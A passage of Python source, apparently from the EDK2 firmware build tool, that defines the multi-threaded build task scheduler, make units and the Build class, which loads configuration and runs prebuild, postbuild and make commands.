# Currently the "Obj" should be only ModuleAutoGen object. # class ModuleMakeUnit(BuildUnit): ## The constructor # # @param self The object pointer # @param Obj The ModuleAutoGen object the build is working on # @param Target The build target name, one of gSupportedTarget # def __init__(self, Obj, Target): Dependency = [ModuleMakeUnit(La, Target) for La in Obj.LibraryAutoGenList] BuildUnit.__init__(self, Obj, Obj.BuildCommand, Target, Dependency, Obj.MakeFileDir) if Target in [None, "", "all"]: self.Target = "tbuild" ## The smallest platform unit that can be built by nmake/make command in multi-thread build mode # # This class is for platform build by nmake/make build system. The "Obj" parameter # must provide __str__(), __eq__() and __hash__() methods. Otherwise there could # be make units missing build. # # Currently the "Obj" should be only PlatformAutoGen object. # class PlatformMakeUnit(BuildUnit): ## The constructor # # @param self The object pointer # @param Obj The PlatformAutoGen object the build is working on # @param Target The build target name, one of gSupportedTarget # def __init__(self, Obj, Target): Dependency = [ModuleMakeUnit(Lib, Target) for Lib in self.BuildObject.LibraryAutoGenList] Dependency.extend([ModuleMakeUnit(Mod, Target) for Mod in self.BuildObject.ModuleAutoGenList]) BuildUnit.__init__(self, Obj, Obj.BuildCommand, Target, Dependency, Obj.MakeFileDir) ## The class representing the task of a module build or platform build # # This class manages the build tasks in multi-thread build mode. Its jobs include # scheduling thread running, catching thread error, monitor the thread status, etc. # class BuildTask: # queue for tasks waiting for schedule _PendingQueue = OrderedDict() _PendingQueueLock = threading.Lock() # queue for tasks ready for running _ReadyQueue = OrderedDict() _ReadyQueueLock = threading.Lock() # queue for run tasks _RunningQueue = OrderedDict() _RunningQueueLock = threading.Lock() # queue containing all build tasks, in case duplicate build _TaskQueue = OrderedDict() # flag indicating error occurs in a running thread _ErrorFlag = threading.Event() _ErrorFlag.clear() _ErrorMessage = "" # BoundedSemaphore object used to control the number of running threads _Thread = None # flag indicating if the scheduler is started or not _SchedulerStopped = threading.Event() _SchedulerStopped.set() ## Start the task scheduler thread # # @param MaxThreadNumber The maximum thread number # @param ExitFlag Flag used to end the scheduler # @staticmethod def StartScheduler(MaxThreadNumber, ExitFlag): SchedulerThread = Thread(target=BuildTask.Scheduler, args=(MaxThreadNumber, ExitFlag)) SchedulerThread.setName("Build-Task-Scheduler") SchedulerThread.setDaemon(False) SchedulerThread.start() # wait for the scheduler to be started, especially useful in Linux while not BuildTask.IsOnGoing(): time.sleep(0.01) ## Scheduler method # # @param MaxThreadNumber The maximum thread number # @param ExitFlag Flag used to end the scheduler # @staticmethod def Scheduler(MaxThreadNumber, ExitFlag): BuildTask._SchedulerStopped.clear() try: # use BoundedSemaphore to control the maximum running threads BuildTask._Thread = BoundedSemaphore(MaxThreadNumber) # # scheduling loop, which will exits when no pending/ready task and # indicated to do so, or there's error in running thread # while (len(BuildTask._PendingQueue) > 0 or len(BuildTask._ReadyQueue) > 0 \ or not ExitFlag.isSet()) and not BuildTask._ErrorFlag.isSet(): EdkLogger.debug(EdkLogger.DEBUG_8, "Pending Queue (%d), Ready Queue (%d)" % (len(BuildTask._PendingQueue), len(BuildTask._ReadyQueue))) # get all pending tasks BuildTask._PendingQueueLock.acquire() BuildObjectList = list(BuildTask._PendingQueue.keys()) # # check if their dependency is resolved, and if true, move them # into ready queue # for BuildObject in BuildObjectList: Bt = BuildTask._PendingQueue[BuildObject] if Bt.IsReady(): BuildTask._ReadyQueue[BuildObject] = BuildTask._PendingQueue.pop(BuildObject) BuildTask._PendingQueueLock.release() # launch build thread until the maximum number of threads is reached while not BuildTask._ErrorFlag.isSet(): # empty ready queue, do nothing further if len(BuildTask._ReadyQueue) == 0: break # wait for active thread(s) exit BuildTask._Thread.acquire(True) # start a new build thread Bo, Bt = BuildTask._ReadyQueue.popitem() # move into running queue BuildTask._RunningQueueLock.acquire() BuildTask._RunningQueue[Bo] = Bt BuildTask._RunningQueueLock.release() Bt.Start() # avoid tense loop time.sleep(0.01) # avoid tense loop time.sleep(0.01) # wait for all running threads exit if BuildTask._ErrorFlag.isSet(): EdkLogger.quiet("\nWaiting for all build threads exit...") # while not BuildTask._ErrorFlag.isSet() and \ while len(BuildTask._RunningQueue) > 0: EdkLogger.verbose("Waiting for thread ending...(%d)" % len(BuildTask._RunningQueue)) EdkLogger.debug(EdkLogger.DEBUG_8, "Threads [%s]" % ", ".join(Th.getName() for Th in threading.enumerate())) # avoid tense loop time.sleep(0.1) except BaseException as X: # # TRICK: hide the output of threads left runing, so that the user can # catch the error message easily # EdkLogger.SetLevel(EdkLogger.ERROR) BuildTask._ErrorFlag.set() BuildTask._ErrorMessage = "build thread scheduler error\n\t%s" % str(X) BuildTask._PendingQueue.clear() BuildTask._ReadyQueue.clear() BuildTask._RunningQueue.clear() BuildTask._TaskQueue.clear() BuildTask._SchedulerStopped.set() ## Wait for all running method exit # @staticmethod def WaitForComplete(): BuildTask._SchedulerStopped.wait() ## Check if the scheduler is running or not # @staticmethod def IsOnGoing(): return not BuildTask._SchedulerStopped.isSet() ## Abort the build @staticmethod def Abort(): if BuildTask.IsOnGoing(): BuildTask._ErrorFlag.set() BuildTask.WaitForComplete() ## Check if there's error in running thread # # Since the main thread cannot catch exceptions in other thread, we have to # use threading.Event to communicate this formation to main thread. # @staticmethod def HasError(): return BuildTask._ErrorFlag.isSet() ## Get error message in running thread # # Since the main thread cannot catch exceptions in other thread, we have to # use a static variable to communicate this message to main thread. # @staticmethod def GetErrorMessage(): return BuildTask._ErrorMessage ## Factory method to create a BuildTask object # # This method will check if a module is building or has been built. And if # true, just return the associated BuildTask object in the _TaskQueue. If # not, create and return a new BuildTask object. The new BuildTask object # will be appended to the _PendingQueue for scheduling later. # # @param BuildItem A BuildUnit object representing a build object # @param Dependency The dependent build object of BuildItem # @staticmethod def New(BuildItem, Dependency=None): if BuildItem in BuildTask._TaskQueue: Bt = BuildTask._TaskQueue[BuildItem] return Bt Bt = BuildTask() Bt._Init(BuildItem, Dependency) BuildTask._TaskQueue[BuildItem] = Bt BuildTask._PendingQueueLock.acquire() BuildTask._PendingQueue[BuildItem] = Bt BuildTask._PendingQueueLock.release() return Bt ## The real constructor of BuildTask # # @param BuildItem A BuildUnit object representing a build object # @param Dependency The dependent build object of BuildItem # def _Init(self, BuildItem, Dependency=None): self.BuildItem = BuildItem self.DependencyList = [] if Dependency is None: Dependency = BuildItem.Dependency else: Dependency.extend(BuildItem.Dependency) self.AddDependency(Dependency) # flag indicating build completes, used to avoid unnecessary re-build self.CompleteFlag = False ## Check if all dependent build tasks are completed or not # def IsReady(self): ReadyFlag = True for Dep in self.DependencyList: if Dep.CompleteFlag == True: continue ReadyFlag = False break return ReadyFlag ## Add dependent build task # # @param Dependency The list of dependent build objects # def AddDependency(self, Dependency): for Dep in Dependency: if not Dep.BuildObject.IsBinaryModule: self.DependencyList.append(BuildTask.New(Dep)) # BuildTask list ## The thread wrapper of LaunchCommand function # # @param Command A list or string contains the call of the command # @param WorkingDir The directory in which the program will be running # def _CommandThread(self, Command, WorkingDir): try: self.BuildItem.BuildObject.BuildTime = LaunchCommand(Command, WorkingDir) self.CompleteFlag = True except: # # TRICK: hide the output of threads left runing, so that the user can # catch the error message easily # if not BuildTask._ErrorFlag.isSet(): GlobalData.gBuildingModule = "%s [%s, %s, %s]" % (str(self.BuildItem.BuildObject), self.BuildItem.BuildObject.Arch, self.BuildItem.BuildObject.ToolChain, self.BuildItem.BuildObject.BuildTarget ) EdkLogger.SetLevel(EdkLogger.ERROR) BuildTask._ErrorFlag.set() BuildTask._ErrorMessage = "%s broken\n %s [%s]" % \ (threading.currentThread().getName(), Command, WorkingDir) # indicate there's a thread is available for another build task BuildTask._RunningQueueLock.acquire() BuildTask._RunningQueue.pop(self.BuildItem) BuildTask._RunningQueueLock.release() BuildTask._Thread.release() ## Start build task thread # def Start(self): EdkLogger.quiet("Building ... %s" % repr(self.BuildItem)) Command = self.BuildItem.BuildCommand + [self.BuildItem.Target] self.BuildTread = Thread(target=self._CommandThread, args=(Command, self.BuildItem.WorkingDir)) self.BuildTread.setName("build thread") self.BuildTread.setDaemon(False) self.BuildTread.start() ## The class contains the information related to EFI image # class PeImageInfo(): ## Constructor # # Constructor will load all required image information. # # @param BaseName The full file path of image. # @param Guid The GUID for image. # @param Arch Arch of this image. # @param OutputDir The output directory for image. # @param DebugDir The debug directory for image. # @param ImageClass PeImage Information # def __init__(self, BaseName, Guid, Arch, OutputDir, DebugDir, ImageClass): self.BaseName = BaseName self.Guid = Guid self.Arch = Arch self.OutputDir = OutputDir self.DebugDir = DebugDir self.Image = ImageClass self.Image.Size = (self.Image.Size // 0x1000 + 1) * 0x1000 ## The class implementing the EDK2 build process # # The build process includes: # 1. Load configuration from target.txt and tools_def.txt in $(WORKSPACE)/Conf # 2. Parse DSC file of active platform # 3. Parse FDF file if any # 4. Establish build database, including parse all other files (module, package) # 5. Create AutoGen files (C code file, depex file, makefile) if necessary # 6. Call build command # class Build(): ## Constructor # # Constructor will load all necessary configurations, parse platform, modules # and packages and the establish a database for AutoGen. # # @param Target The build command target, one of gSupportedTarget # @param WorkspaceDir The directory of workspace # @param BuildOptions Build options passed from command line # def __init__(self, Target, WorkspaceDir, BuildOptions): self.WorkspaceDir = WorkspaceDir self.Target = Target self.PlatformFile = BuildOptions.PlatformFile self.ModuleFile = BuildOptions.ModuleFile self.ArchList = BuildOptions.TargetArch self.ToolChainList = BuildOptions.ToolChain self.BuildTargetList= BuildOptions.BuildTarget self.Fdf = BuildOptions.FdfFile self.FdList = BuildOptions.RomImage self.FvList = BuildOptions.FvImage self.CapList = BuildOptions.CapName self.SilentMode = BuildOptions.SilentMode self.ThreadNumber = BuildOptions.ThreadNumber self.SkipAutoGen = BuildOptions.SkipAutoGen self.Reparse = BuildOptions.Reparse self.SkuId = BuildOptions.SkuId if self.SkuId: GlobalData.gSKUID_CMD = self.SkuId self.ConfDirectory = BuildOptions.ConfDirectory self.SpawnMode = True self.BuildReport = BuildReport(BuildOptions.ReportFile, BuildOptions.ReportType) self.TargetTxt = TargetTxtClassObject() self.ToolDef = ToolDefClassObject() self.AutoGenTime = 0 self.MakeTime = 0 self.GenFdsTime = 0 GlobalData.BuildOptionPcd = BuildOptions.OptionPcd if BuildOptions.OptionPcd else [] #Set global flag for build mode GlobalData.gIgnoreSource = BuildOptions.IgnoreSources GlobalData.gUseHashCache = BuildOptions.UseHashCache GlobalData.gBinCacheDest = BuildOptions.BinCacheDest GlobalData.gBinCacheSource = BuildOptions.BinCacheSource GlobalData.gEnableGenfdsMultiThread = BuildOptions.GenfdsMultiThread if GlobalData.gBinCacheDest and not GlobalData.gUseHashCache: EdkLogger.error("build", OPTION_NOT_SUPPORTED, ExtraData="--binary-destination must be used together with --hash.") if GlobalData.gBinCacheSource and not GlobalData.gUseHashCache: EdkLogger.error("build", OPTION_NOT_SUPPORTED, ExtraData="--binary-source must be used together with --hash.") if GlobalData.gBinCacheDest and GlobalData.gBinCacheSource: EdkLogger.error("build", OPTION_NOT_SUPPORTED, ExtraData="--binary-destination can not be used together with --binary-source.") if GlobalData.gBinCacheSource: BinCacheSource = os.path.normpath(GlobalData.gBinCacheSource) if not os.path.isabs(BinCacheSource): BinCacheSource = mws.join(self.WorkspaceDir, BinCacheSource) GlobalData.gBinCacheSource = BinCacheSource else: if GlobalData.gBinCacheSource is not None: EdkLogger.error("build", OPTION_VALUE_INVALID, ExtraData="Invalid value of option --binary-source.") if GlobalData.gBinCacheDest: BinCacheDest = os.path.normpath(GlobalData.gBinCacheDest) if not os.path.isabs(BinCacheDest): BinCacheDest = mws.join(self.WorkspaceDir, BinCacheDest) GlobalData.gBinCacheDest = BinCacheDest else: if GlobalData.gBinCacheDest is not None: EdkLogger.error("build", OPTION_VALUE_INVALID, ExtraData="Invalid value of option --binary-destination.") if self.ConfDirectory: # Get alternate Conf location, if it is absolute, then just use the absolute directory name ConfDirectoryPath = os.path.normpath(self.ConfDirectory) if not os.path.isabs(ConfDirectoryPath): # Since alternate directory name is not absolute, the alternate directory is located within the WORKSPACE # This also handles someone specifying the Conf directory in the workspace. Using --conf=Conf ConfDirectoryPath = mws.join(self.WorkspaceDir, ConfDirectoryPath) else: if "CONF_PATH" in os.environ: ConfDirectoryPath = os.path.normcase(os.path.normpath(os.environ["CONF_PATH"])) else: # Get standard WORKSPACE/Conf use the absolute path to the WORKSPACE/Conf ConfDirectoryPath = mws.join(self.WorkspaceDir, 'Conf') GlobalData.gConfDirectory = ConfDirectoryPath GlobalData.gDatabasePath = os.path.normpath(os.path.join(ConfDirectoryPath, GlobalData.gDatabasePath)) if BuildOptions.DisableCache: self.Db = WorkspaceDatabase(":memory:") else: self.Db = WorkspaceDatabase(GlobalData.gDatabasePath, self.Reparse) self.BuildDatabase = self.Db.BuildObject self.Platform = None self.ToolChainFamily = None self.LoadFixAddress = 0 self.UniFlag = BuildOptions.Flag self.BuildModules = [] self.HashSkipModules = [] self.Db_Flag = False self.LaunchPrebuildFlag = False self.PlatformBuildPath = os.path.join(GlobalData.gConfDirectory, '.cache', '.PlatformBuild') if BuildOptions.CommandLength: GlobalData.gCommandMaxLength = BuildOptions.CommandLength # print dot character during doing some time-consuming work self.Progress = Utils.Progressor() # print current build environment and configuration EdkLogger.quiet("%-16s = %s" % ("WORKSPACE", os.environ["WORKSPACE"])) if "PACKAGES_PATH" in os.environ: # WORKSPACE env has been converted before. Print the same path style with WORKSPACE env. EdkLogger.quiet("%-16s = %s" % ("PACKAGES_PATH", os.path.normcase(os.path.normpath(os.environ["PACKAGES_PATH"])))) EdkLogger.quiet("%-16s = %s" % ("ECP_SOURCE", os.environ["ECP_SOURCE"])) EdkLogger.quiet("%-16s = %s" % ("EDK_SOURCE", os.environ["EDK_SOURCE"])) EdkLogger.quiet("%-16s = %s" % ("EFI_SOURCE", os.environ["EFI_SOURCE"])) EdkLogger.quiet("%-16s = %s" % ("EDK_TOOLS_PATH", os.environ["EDK_TOOLS_PATH"])) if "EDK_TOOLS_BIN" in os.environ: # Print the same path style with WORKSPACE env. EdkLogger.quiet("%-16s = %s" % ("EDK_TOOLS_BIN", os.path.normcase(os.path.normpath(os.environ["EDK_TOOLS_BIN"])))) EdkLogger.quiet("%-16s = %s" % ("CONF_PATH", GlobalData.gConfDirectory)) self.InitPreBuild() self.InitPostBuild() if self.Prebuild: EdkLogger.quiet("%-16s = %s" % ("PREBUILD", self.Prebuild)) if self.Postbuild: EdkLogger.quiet("%-16s = %s" % ("POSTBUILD", self.Postbuild)) if self.Prebuild: self.LaunchPrebuild() self.TargetTxt = TargetTxtClassObject() self.ToolDef = ToolDefClassObject() if not (self.LaunchPrebuildFlag and os.path.exists(self.PlatformBuildPath)): self.InitBuild() EdkLogger.info("") os.chdir(self.WorkspaceDir) ## Load configuration # # This method will parse target.txt and get the build configurations. # def LoadConfiguration(self): # # Check target.txt and tools_def.txt and Init them # BuildConfigurationFile = os.path.normpath(os.path.join(GlobalData.gConfDirectory, gBuildConfiguration)) if os.path.isfile(BuildConfigurationFile) == True: StatusCode = self.TargetTxt.LoadTargetTxtFile(BuildConfigurationFile) ToolDefinitionFile = self.TargetTxt.TargetTxtDictionary[DataType.TAB_TAT_DEFINES_TOOL_CHAIN_CONF] if ToolDefinitionFile == '': ToolDefinitionFile = gToolsDefinition ToolDefinitionFile = os.path.normpath(mws.join(self.WorkspaceDir, 'Conf', ToolDefinitionFile)) if os.path.isfile(ToolDefinitionFile) == True: StatusCode = self.ToolDef.LoadToolDefFile(ToolDefinitionFile) else: EdkLogger.error("build", FILE_NOT_FOUND, ExtraData=ToolDefinitionFile) else: EdkLogger.error("build", FILE_NOT_FOUND, ExtraData=BuildConfigurationFile) # if no ARCH given in command line, get it from target.txt if not self.ArchList: self.ArchList = self.TargetTxt.TargetTxtDictionary[DataType.TAB_TAT_DEFINES_TARGET_ARCH] self.ArchList = tuple(self.ArchList) # if no build target given in command line, get it from target.txt if not self.BuildTargetList: self.BuildTargetList = self.TargetTxt.TargetTxtDictionary[DataType.TAB_TAT_DEFINES_TARGET] # if no tool chain given in command line, get it from target.txt if not self.ToolChainList: self.ToolChainList = self.TargetTxt.TargetTxtDictionary[DataType.TAB_TAT_DEFINES_TOOL_CHAIN_TAG] if self.ToolChainList is None or len(self.ToolChainList) == 0: EdkLogger.error("build", RESOURCE_NOT_AVAILABLE, ExtraData="No toolchain given. Don't know how to build.\n") # check if the tool chains are defined or not NewToolChainList = [] for ToolChain in self.ToolChainList: if ToolChain not in self.ToolDef.ToolsDefTxtDatabase[TAB_TOD_DEFINES_TOOL_CHAIN_TAG]: EdkLogger.warn("build", "Tool chain [%s] is not defined" % ToolChain) else: NewToolChainList.append(ToolChain) # if no tool chain available, break the build if len(NewToolChainList) == 0: EdkLogger.error("build", RESOURCE_NOT_AVAILABLE, ExtraData="[%s] not defined. No toolchain available for build!\n" % ", ".join(self.ToolChainList)) else: self.ToolChainList = NewToolChainList ToolChainFamily = [] ToolDefinition = self.ToolDef.ToolsDefTxtDatabase for Tool in self.ToolChainList: if TAB_TOD_DEFINES_FAMILY not in ToolDefinition or Tool not in ToolDefinition[TAB_TOD_DEFINES_FAMILY] \ or not ToolDefinition[TAB_TOD_DEFINES_FAMILY][Tool]: EdkLogger.warn("build", "No tool chain family found in configuration for %s. Default to MSFT." % Tool) ToolChainFamily.append(TAB_COMPILER_MSFT) else: ToolChainFamily.append(ToolDefinition[TAB_TOD_DEFINES_FAMILY][Tool]) self.ToolChainFamily = ToolChainFamily if self.ThreadNumber is None: self.ThreadNumber = self.TargetTxt.TargetTxtDictionary[DataType.TAB_TAT_DEFINES_MAX_CONCURRENT_THREAD_NUMBER] if self.ThreadNumber == '': self.ThreadNumber = 0 else: self.ThreadNumber = int(self.ThreadNumber, 0) if self.ThreadNumber == 0: try: self.ThreadNumber = multiprocessing.cpu_count() except (ImportError, NotImplementedError): self.ThreadNumber = 1 if not self.PlatformFile: PlatformFile = self.TargetTxt.TargetTxtDictionary[DataType.TAB_TAT_DEFINES_ACTIVE_PLATFORM] if not PlatformFile: # Try to find one in current directory WorkingDirectory = os.getcwd() FileList = glob.glob(os.path.normpath(os.path.join(WorkingDirectory, '*.dsc'))) FileNum = len(FileList) if FileNum >= 2: EdkLogger.error("build", OPTION_MISSING, ExtraData="There are %d DSC files in %s. Use '-p' to specify one.\n" % (FileNum, WorkingDirectory)) elif FileNum == 1: PlatformFile = FileList[0] else: EdkLogger.error("build", RESOURCE_NOT_AVAILABLE, ExtraData="No active platform specified in target.txt or command line! Nothing can be built.\n") self.PlatformFile = PathClass(NormFile(PlatformFile, self.WorkspaceDir), self.WorkspaceDir) ## Initialize build configuration # # This method will parse DSC file and merge the configurations from # command line and target.txt, then get the final build configurations. # def InitBuild(self): # parse target.txt, tools_def.txt, and platform file self.LoadConfiguration() # Allow case-insensitive for those from command line or configuration file ErrorCode, ErrorInfo = self.PlatformFile.Validate(".dsc", False) if ErrorCode != 0: EdkLogger.error("build", ErrorCode, ExtraData=ErrorInfo) # create metafile database if not self.Db_Flag: self.Db.InitDatabase() def InitPreBuild(self): self.LoadConfiguration() ErrorCode, ErrorInfo = self.PlatformFile.Validate(".dsc", False) if ErrorCode != 0: EdkLogger.error("build", ErrorCode, ExtraData=ErrorInfo) if self.BuildTargetList: GlobalData.gGlobalDefines['TARGET'] = self.BuildTargetList[0] if self.ArchList: GlobalData.gGlobalDefines['ARCH'] = self.ArchList[0] if self.ToolChainList: GlobalData.gGlobalDefines['TOOLCHAIN'] = self.ToolChainList[0] GlobalData.gGlobalDefines['TOOL_CHAIN_TAG'] = self.ToolChainList[0] if self.ToolChainFamily: GlobalData.gGlobalDefines['FAMILY'] = self.ToolChainFamily[0] if 'PREBUILD' in GlobalData.gCommandLineDefines: self.Prebuild = GlobalData.gCommandLineDefines.get('PREBUILD') else: self.Db.InitDatabase() self.Db_Flag = True Platform = self.Db.MapPlatform(str(self.PlatformFile)) self.Prebuild = str(Platform.Prebuild) if self.Prebuild: PrebuildList = [] # # Evaluate all arguments and convert arguments that are WORKSPACE # relative paths to absolute paths. Filter arguments that look like # flags or do not follow the file/dir naming rules to avoid false # positives on this conversion. # for Arg in self.Prebuild.split(): # # Do not modify Arg if it looks like a flag or an absolute file path # if Arg.startswith('-') or os.path.isabs(Arg): PrebuildList.append(Arg) continue # # Do not modify Arg if it does not look like a Workspace relative # path that starts with a valid package directory name # if not Arg[0].isalpha() or os.path.dirname(Arg) == '': PrebuildList.append(Arg) continue # # If Arg looks like a WORKSPACE relative path, then convert to an # absolute path and check to see if the file exists. # Temp = mws.join(self.WorkspaceDir, Arg) if os.path.isfile(Temp): Arg = Temp PrebuildList.append(Arg) self.Prebuild = ' '.join(PrebuildList) self.Prebuild += self.PassCommandOption(self.BuildTargetList, self.ArchList, self.ToolChainList, self.PlatformFile, self.Target) def InitPostBuild(self): if 'POSTBUILD' in GlobalData.gCommandLineDefines: self.Postbuild = GlobalData.gCommandLineDefines.get('POSTBUILD') else: Platform = self.Db.MapPlatform(str(self.PlatformFile)) self.Postbuild = str(Platform.Postbuild) if self.Postbuild: PostbuildList = [] # # Evaluate all arguments and convert arguments that are WORKSPACE # relative paths to absolute paths. Filter arguments that look like # flags or do not follow the file/dir naming rules to avoid false # positives on this conversion. # for Arg in self.Postbuild.split(): # # Do not modify Arg if it looks like a flag or an absolute file path # if Arg.startswith('-') or os.path.isabs(Arg): PostbuildList.append(Arg) continue # # Do not modify Arg if it does not look like a Workspace relative # path that starts with a valid package directory name # if not Arg[0].isalpha() or os.path.dirname(Arg) == '': PostbuildList.append(Arg) continue # # If Arg looks like a WORKSPACE relative path, then convert to an # absolute path and check to see if the file exists. # Temp = mws.join(self.WorkspaceDir, Arg) if os.path.isfile(Temp): Arg = Temp PostbuildList.append(Arg) self.Postbuild = ' '.join(PostbuildList) self.Postbuild += self.PassCommandOption(self.BuildTargetList, self.ArchList, self.ToolChainList, self.PlatformFile, self.Target) def PassCommandOption(self, BuildTarget, TargetArch, ToolChain, PlatformFile, Target): BuildStr = '' if GlobalData.gCommand and isinstance(GlobalData.gCommand, list): BuildStr += ' ' + ' '.join(GlobalData.gCommand) TargetFlag = False ArchFlag = False ToolChainFlag = False PlatformFileFlag = False if GlobalData.gOptions and not GlobalData.gOptions.BuildTarget: TargetFlag = True if GlobalData.gOptions and not GlobalData.gOptions.TargetArch: ArchFlag = True if GlobalData.gOptions and not GlobalData.gOptions.ToolChain: ToolChainFlag = True if GlobalData.gOptions and not GlobalData.gOptions.PlatformFile: PlatformFileFlag = True if TargetFlag and BuildTarget: if isinstance(BuildTarget, list) or isinstance(BuildTarget, tuple): BuildStr += ' -b ' + ' -b '.join(BuildTarget) elif isinstance(BuildTarget, str): BuildStr += ' -b ' + BuildTarget if ArchFlag and TargetArch: if isinstance(TargetArch, list) or isinstance(TargetArch, tuple): BuildStr += ' -a ' + ' -a '.join(TargetArch) elif isinstance(TargetArch, str): BuildStr += ' -a ' + TargetArch if ToolChainFlag and ToolChain: if isinstance(ToolChain, list) or isinstance(ToolChain, tuple): BuildStr += ' -t ' + ' -t '.join(ToolChain) elif isinstance(ToolChain, str): BuildStr += ' -t ' + ToolChain if PlatformFileFlag and PlatformFile: if isinstance(PlatformFile, list) or isinstance(PlatformFile, tuple): BuildStr += ' -p ' + ' -p '.join(PlatformFile) elif isinstance(PlatformFile, str): BuildStr += ' -p' + PlatformFile BuildStr += ' --conf=' + GlobalData.gConfDirectory if Target: BuildStr += ' ' + Target return BuildStr def LaunchPrebuild(self): if self.Prebuild: EdkLogger.info("\n- Prebuild Start -\n") self.LaunchPrebuildFlag = True # # The purpose of .PrebuildEnv file is capture environment variable settings set by the prebuild script # and preserve them for the rest of the main build step, because the child process environment will # evaporate as soon as it exits, we cannot get it in build step. # PrebuildEnvFile = os.path.join(GlobalData.gConfDirectory, '.cache', '.PrebuildEnv') if os.path.isfile(PrebuildEnvFile): os.remove(PrebuildEnvFile) if os.path.isfile(self.PlatformBuildPath): os.remove(self.PlatformBuildPath) if sys.platform == "win32": args = ' && '.join((self.Prebuild, 'set > ' + PrebuildEnvFile)) Process = Popen(args, stdout=PIPE, stderr=PIPE, shell=True) else: args = ' && '.join((self.Prebuild, 'env > ' + PrebuildEnvFile)) Process = Popen(args, stdout=PIPE, stderr=PIPE, shell=True) # launch two threads to read the STDOUT and STDERR EndOfProcedure = Event() EndOfProcedure.clear() if Process.stdout: StdOutThread = Thread(target=ReadMessage, args=(Process.stdout, EdkLogger.info, EndOfProcedure)) StdOutThread.setName("STDOUT-Redirector") StdOutThread.setDaemon(False) StdOutThread.start() if Process.stderr: StdErrThread = Thread(target=ReadMessage, args=(Process.stderr, EdkLogger.quiet, EndOfProcedure)) StdErrThread.setName("STDERR-Redirector") StdErrThread.setDaemon(False) StdErrThread.start() # waiting for program exit Process.wait() if Process.stdout: StdOutThread.join() if Process.stderr: StdErrThread.join() if Process.returncode != 0 : EdkLogger.error("Prebuild", PREBUILD_ERROR, 'Prebuild process is not success!') if os.path.exists(PrebuildEnvFile): f = open(PrebuildEnvFile) envs = f.readlines() f.close() envs = map(lambda l: l.split('=', 1), envs) envs = filter(lambda l: len(l) == 2, envs) envs = map(lambda l: [i.strip() for i in l], envs) os.environ.update(dict(envs)) EdkLogger.info("\n- Prebuild Done -\n") def LaunchPostbuild(self): if self.Postbuild: EdkLogger.info("\n- Postbuild Start -\n") if sys.platform == "win32": Process = Popen(self.Postbuild, stdout=PIPE, stderr=PIPE, shell=True) else: Process = Popen(self.Postbuild, stdout=PIPE, stderr=PIPE, shell=True) # launch two threads to read the STDOUT and STDERR EndOfProcedure = Event() EndOfProcedure.clear() if Process.stdout: StdOutThread = Thread(target=ReadMessage, args=(Process.stdout, EdkLogger.info, EndOfProcedure)) StdOutThread.setName("STDOUT-Redirector") StdOutThread.setDaemon(False) StdOutThread.start() if Process.stderr: StdErrThread = Thread(target=ReadMessage, args=(Process.stderr, EdkLogger.quiet, EndOfProcedure)) StdErrThread.setName("STDERR-Redirector") StdErrThread.setDaemon(False) StdErrThread.start() # waiting for program exit Process.wait() if Process.stdout: StdOutThread.join() if Process.stderr: StdErrThread.join() if Process.returncode != 0 : EdkLogger.error("Postbuild", POSTBUILD_ERROR, 'Postbuild process is not success!') EdkLogger.info("\n- Postbuild Done -\n") ## Build a module or platform # # Create autogen code and makefile for a module or platform, and the launch # "make" command to build it # # @param Target The target of build command # @param Platform The platform file # @param Module The module file # @param BuildTarget The name of build target, one of "DEBUG", "RELEASE" # @param ToolChain The name of toolchain to build # @param Arch The arch of the module/platform # @param CreateDepModuleCodeFile Flag used to indicate creating code # for dependent modules/Libraries # @param CreateDepModuleMakeFile Flag used to indicate creating makefile # for dependent modules/Libraries # def _BuildPa(self, Target, AutoGenObject, CreateDepsCodeFile=True, CreateDepsMakeFile=True, BuildModule=False, FfsCommand={}): if AutoGenObject is None: return False # skip file generation for cleanxxx targets, run and fds target if Target not in ['clean', 'cleanlib', 'cleanall', 'run', 'fds']: # for target which must generate AutoGen code and makefile if not self.SkipAutoGen or Target == 'genc': self.Progress.Start("Generating code") AutoGenObject.CreateCodeFile(CreateDepsCodeFile) self.Progress.Stop("done!") if Target == "genc": return True if not self.SkipAutoGen or Target == 'genmake': self.Progress.Start("Generating makefile") AutoGenObject.CreateMakeFile(CreateDepsMakeFile, FfsCommand) self.Progress.Stop("done!") if Target == "genmake": return True else: # always recreate top/platform makefile when clean, just in case of inconsistency AutoGenObject.CreateCodeFile(False) AutoGenObject.CreateMakeFile(False) if EdkLogger.GetLevel() == EdkLogger.QUIET: EdkLogger.quiet("Building ... %s" % repr(AutoGenObject)) BuildCommand = AutoGenObject.BuildCommand if BuildCommand is None or len(BuildCommand) == 0: EdkLogger.error("build", OPTION_MISSING, "No build command found for this module. " "Please check your setting of %s_%s_%s_MAKE_PATH in Conf/tools_def.txt file." % (AutoGenObject.BuildTarget, AutoGenObject.ToolChain, AutoGenObject.Arch), ExtraData=str(AutoGenObject)) makefile = GenMake.BuildFile(AutoGenObject)._FILE_NAME_[GenMake.gMakeType] # run if Target == 'run': RunDir = os.path.normpath(os.path.join(AutoGenObject.BuildDir, GlobalData.gGlobalDefines['ARCH'])) Command = '.\SecMain' os.chdir(RunDir) LaunchCommand(Command, RunDir) return True # build modules if BuildModule: BuildCommand = BuildCommand + [Target] LaunchCommand(BuildCommand, AutoGenObject.MakeFileDir) self.CreateAsBuiltInf() return True # build library if Target == 'libraries': for Lib in AutoGenObject.LibraryBuildDirectoryList: NewBuildCommand = BuildCommand + ['-f', os.path.normpath(os.path.join(Lib, makefile)), 'pbuild'] LaunchCommand(NewBuildCommand, AutoGenObject.MakeFileDir) return True # build module if Target == 'modules': for Lib in AutoGenObject.LibraryBuildDirectoryList: NewBuildCommand = BuildCommand + ['-f', os.path.normpath(os.path.join(Lib, makefile)), 'pbuild'] LaunchCommand(NewBuildCommand, AutoGenObject.MakeFileDir) for Mod in AutoGenObject.ModuleBuildDirectoryList: NewBuildCommand = BuildCommand + ['-f', os.path.normpath(os.path.join(Mod, makefile)), 'pbuild'] LaunchCommand(NewBuildCommand, AutoGenObject.MakeFileDir) self.CreateAsBuiltInf() return True # cleanlib if Target == 'cleanlib': for Lib in AutoGenObject.LibraryBuildDirectoryList: LibMakefile = os.path.normpath(os.path.join(Lib, makefile)) if os.path.exists(LibMakefile): NewBuildCommand = BuildCommand + ['-f', LibMakefile, 'cleanall'] LaunchCommand(NewBuildCommand, AutoGenObject.MakeFileDir) return True # clean if Target == 'clean': for Mod in AutoGenObject.ModuleBuildDirectoryList: ModMakefile = os.path.normpath(os.path.join(Mod, makefile)) if os.path.exists(ModMakefile): NewBuildCommand = BuildCommand + ['-f', ModMakefile, 'cleanall'] LaunchCommand(NewBuildCommand, AutoGenObject.MakeFileDir) for Lib in 